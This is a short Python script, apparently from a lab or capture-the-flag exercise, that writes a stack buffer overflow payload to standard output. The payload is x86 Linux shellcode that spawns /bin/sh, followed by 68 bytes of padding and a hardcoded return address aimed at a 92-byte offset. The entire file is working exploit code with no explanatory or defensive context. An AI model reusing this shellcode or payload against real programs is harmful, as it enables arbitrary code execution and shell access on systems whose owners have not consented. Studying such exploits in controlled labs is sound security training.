import sys
import struct


# shellcode
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

# return_address
return_address="\x80\xee\xff\xbf"

# Offset from buffer start to function return address is 92.
payload = shellcode + 68*"A" + return_address

sys.stdout.write(payload)
